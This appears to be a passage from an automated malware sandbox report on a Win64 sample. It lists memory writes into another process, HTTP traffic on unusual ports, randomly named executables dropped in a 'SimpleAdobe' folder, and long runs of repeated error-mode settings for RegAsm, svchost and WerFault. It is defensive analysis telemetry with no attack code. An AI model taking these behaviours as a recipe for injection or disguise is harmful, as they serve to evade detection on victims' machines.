Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	Memory written: PID: 5816 base: 7FFE22370008 value: E9 EB D9 E9 FF
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	Memory written: PID: 5816 base: 7FFE2220D9F0 value: E9 20 26 16 00

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 54674
Source: unknown	Network traffic detected: HTTP traffic on port 54674 -> 49760

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\boVVOk_VnQHj3a1q182pGwZV.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\boVVOk_VnQHj3a1q182pGwZV.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\boVVOk_VnQHj3a1q182pGwZV.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\boVVOk_VnQHj3a1q182pGwZV.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
